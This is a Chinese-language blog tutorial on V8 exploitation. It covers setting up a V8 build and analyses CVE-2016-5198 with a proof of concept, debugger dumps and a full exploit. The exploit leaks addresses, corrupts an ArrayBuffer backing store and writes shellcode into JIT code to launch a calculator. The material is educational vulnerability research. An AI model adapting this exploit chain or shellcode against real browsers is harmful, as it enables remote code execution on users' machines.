v8入门

从0到1,去年5月复现过几个漏洞现在全忘了,重新写下方便以后复习。

环境配置

因为之前是在公司里配置的没有考虑过代理的问题直接可以访问,自己配置的时候需要配置下代理

我这边用的是clash,需要注意启动时候sudo权限

1
2
3
4
5
git config --global http.proxy 127.0.0.1:7890
gedit ~/.bashrc
#在最后加上
export http_proxy="127.0.0.1:7890"
export https_proxy=$http_proxy

下面安装下depot_tools和ninja即可

1
2
3
4
5
6
7
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/home/pisanbao/v8/v8/depot_tools"' >> ~/.bashrc
git clone https://github.com/ninja-build/ninja.git
cd ninja
./configure.py --bootstrap
cd ..
echo 'export PATH=$PATH:"/home/pisanbao/v8/ninja"' >> ~/.bashrc

接下去fetch v8然后编译

//报command not found就起bash

1
2
3
4
5
6
7
8
9
fetch v8
cd v8
git checkout 版本号
gclient sync

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
#release版本吧debug改成release即可
#如果是32位吧x64改成ia32即可

接着修改下gdbinit,为了方便调试

image-20220321150645517

1
2
3
4
5
v8提供了一些指令方便调试
使用%DebugPrint(x);来输出变量x的相关信息
使用%SystemBreak();来抛出int3,以便让gdb进行调试
./d8 --allow-natives-syntax exp.js
#参数--allow-natives-syntax记得加上

CVE-2016-5198

https://eternalsakura13.com/2019/04/29/CVE-2016-5198/#more

具体可以看sakura的blog,写的特棒,当初也是看这个入门的。

这个漏洞也是比较经典的利用

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Ctor() {
n = new Set();
}

function Check() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}

for(var i=0; i<2000; ++i) {
Ctor();
}


for(var i=0; i<2000; ++i) {
Check();
}

Ctor();
Check();
print("finish");

具体配合调试来看,优化后的check如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
pwndbg> job 0xea1bd606f21
0xea1bd606f21: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0xea1bd606f80 0 55 push rbp
0xea1bd606f81 1 4889e5 REX.W movq rbp,rsp
0xea1bd606f84 4 56 push rsi
0xea1bd606f85 5 57 push rdi
0xea1bd606f86 6 4883ec08 REX.W subq rsp,0x8
0xea1bd606f8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0xea1bd606f8e 14 488945e8 REX.W movq [rbp-0x18],rax
0xea1bd606f92 18 488bf0 REX.W movq rsi,rax
0xea1bd606f95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xea1bd606f9c 28 7305 jnc 35 (0xea1bd606fa3)
0xea1bd606f9e 30 e83db9f5ff call StackCheck (0xea1bd5628e0) ;; code: BUILTIN
0xea1bd606fa3 35 48b821c09aff94310000 REX.W movq rax,0x3194ff9ac021 ;; object: 0x3194ff9ac021 PropertyCell for 0x29139a15c631 <a Set with map 0x3a202ca86509>
0xea1bd606fad 45 488b400f REX.W movq rax,[rax+0xf]
0xea1bd606fb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0xea1bd606fbb 59 c4c1f96ec2 vmovq xmm0,r10
0xea1bd606fc0 64 488b4007 REX.W movq rax,[rax+0x7]
0xea1bd606fc4 68 488b400f REX.W movq rax,[rax+0xf]
0xea1bd606fc8 72 c5fb114007 vmovsd [rax+0x7],xmm0
0xea1bd606fcd 77 49ba112358a9d43b0000 REX.W movq r10,0x3bd4a9582311 ;; object: 0x3bd4a9582311 <undefined>
0xea1bd606fd7 87 4152 push r10
0xea1bd606fd9 89 49ba39b09aff94310000 REX.W movq r10,0x3194ff9ab039 ;; object: 0x3194ff9ab039 <String[8]: AAAAAAAA>
0xea1bd606fe3 99 4152 push r10
0xea1bd606fe5 101 48bf51d898ff94310000 REX.W movq rdi,0x3194ff98d851 ;; object: 0x3194ff98d851 <JS Function parseInt (SharedFunctionInfo 0x3bd4a95bce11)>
0xea1bd606fef 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0xea1bd606ff3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0xea1bd606ff7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0xea1bd606ffb 123 b801000000 movl rax,0x1
0xea1bd607000 128 bb02000000 movl rbx,0x2
0xea1bd607005 133 e8f6ebefff call ArgumentsAdaptorTrampoline (0xea1bd505c00) ;; code: BUILTIN
0xea1bd60700a 138 48b8112358a9d43b0000 REX.W movq rax,0x3bd4a9582311 ;; object: 0x3bd4a9582311 <undefined>
0xea1bd607014 148 488be5 REX.W movq rsp,rbp
0xea1bd607017 151 5d pop rbp
0xea1bd607018 152 c20800 ret 0x8
0xea1bd60701b 155 90 nop

Source positions:
pc offset position
77 87
89 87
89 87
101 87
101 87
111 87
115 87
138 87
138 87
138 87
148 87
155 87

Inlined functions (count = 0)

Deoptimization Input Data (deopt points = 2)
index ast id argc pc
0 4 0 35
1 21 0 138

Safepoints (size = 30)
0xea1bd606fa3 35 10000 (sp -> fp) 0
0xea1bd60700a 138 10000 (sp -> fp) 1

RelocInfo (size = 7)
0xea1bd606f9f code target (BUILTIN) (0xea1bd5628e0)
0xea1bd606fa5 embedded object (0x3194ff9ac021 PropertyCell for 0x29139a15c631 <a Set with map 0x3a202ca86509>)
0xea1bd606fcf embedded object (0x3bd4a9582311 <undefined>)
0xea1bd606fdb embedded object (0x3194ff9ab039 <String[8]: AAAAAAAA>)
0xea1bd606fe7 embedded object (0x3194ff98d851 <JS Function parseInt (SharedFunctionInfo 0x3bd4a95bce11)>)
0xea1bd607006 code target (BUILTIN) (0xea1bd505c00)
0xea1bd60700c embedded object (0x3bd4a9582311 <undefined>)

image-20220322161721309

断点断下,此时rax是n的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
DebugPrint: 0x29139a15c631: [JSSet]
- map = 0x3a202ca86509 [FastProperties]
- prototype = 0x3194ff995e49
- elements = 0x3bd4a9582241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x29139a15c651 <FixedArray[13]>
- properties = {
}
0x3a202ca86509: [Map]
- type: JS_SET_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: FAST_HOLEY_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3bd4a9582311 <undefined>
- instance descriptors (own) #0: 0x3bd4a9582231 <FixedArray[0]>
- layout descriptor: 0
- transitions #1: 0x3194ff9ac891 WeakCell for 0x3a202ca8c391 <Map(FAST_HOLEY_SMI_ELEMENTS)>
#xyz: (transition to data), attrs: [WEC] -> 0x3a202ca8c391 <Map(FAST_HOLEY_SMI_ELEMENTS)>
- prototype: 0x3194ff995e49 <an Object with map 0x3a202ca86561>
- constructor: 0x3194ff995be9 <JS Function Set (SharedFunctionInfo 0x3bd4a959cb31)>
- code cache: 0x3bd4a9582241 <FixedArray[0]>
- dependent code: 0x3194ff9ac559 <FixedArray[3]>
- construction counter: 0

接着会

mov rax, qword ptr [rax + 7]

即取出rax的elements对象地址

然后会进一步取出n.xyz并进行赋值,也就是这出了问题

image-20220322164501837

这一步会破坏string map结构导致下面parseInt(‘AAAAAAAA’);报错

image-20220322192002609

n.xyz = 0x826852f4;

0x826852f4被当作double处理所以是0x41E04D0A5E800000

所以现在存在一个越界写,为了不破坏string map我们需要伪造下使得

n.xyz = 3.4766863919133141e-308;//0x019000400007300

exp

完整exp直接照搬sakura博客了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
var ab = new ArrayBuffer(0x200);
var n;
var m;
var l;


var evil_f = new Function("var a = 1000000");

// int->double
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
// double->int
// u2d(floataddr)
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}

function Ctor() {
n = new Set();
}
function Ctor2() {
m = new Map();
}
function Ctor3() {
l = new ArrayBuffer();
}
function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}
// print("0x"+u2d(3.4766863919133141e-308;
// print(d2u(0x0019000400007300/0x100000000,0x0019000400007300&0xffffffff));

function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}


// JIT优化
for(var i=0; i<10000; ++i) {
Ctor();
Ctor2();
Ctor3();
}

for(var i=0; i<10000; ++i) {
Check(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}

Ctor(); // 初始化n
Ctor2(); // 初始化m
Ctor3(); // 初始化l
print("jsset is :");
%DebugPrint(n);
// %DebugPrint(Check);
// read(1);//插入断点
Check(ab);

var str = new String(null);
%DebugPrint(ab);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;

ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
Check(evil_f);
%DebugPrint(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);

Check(String(null));
// %DebugPrint(Check2);
// read(1);//插入断点

Check2(ab_len_ptr_float);


Check3(func_addr_float);

f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

evil_f();

下面讲解原理

image-20220323234945957

先触发优化然后Check(ab);

poc已经知道这里会越界写下面的string null结构

1
2
3
4
5
6
7
function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}

n.xyz是string map

xyz1是hash

xyz2是length,这边扩大到0x7000,string null是4

xyz3是需要leak的值,写入任意ab地址后通过读取string值即可达成leak

image-20220323235218771

成功写入然后

1
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;

同理leak出evil_f function地址

然后把string null写入该地址

下面看下check2

1
2
3
4
5
6
7
function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}

check2和check不同。xyz3会被当作指针解析

string null地址写入后,调用check2会把addr写入string null+0x8处

这边把ab_len_ptr_float写入,因为ab_len_ptr_float后面紧跟着backingstore

下面调用check3,check3会把xyz1域当作指针解析即地址会被写入ab_len_ptr_float+0x8处即直接写backingstore

1
2
3
4
5
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}

调用Check3(func_addr_float);把func地址写入后

1
2
3
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));

获取code地址,第七个成员就是code地址。

image-20220323235757727

最后把code地址写入backingstore然后分配array赋值shellcode即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

evil_f();

很适合入门的漏洞哈,后续会搬上另一个CVE-2019-5782。

文章目录
  1. 1. 环境配置
  2. 2. CVE-2016-5198
    1. 2.1. poc
    2. 2.2. exp
|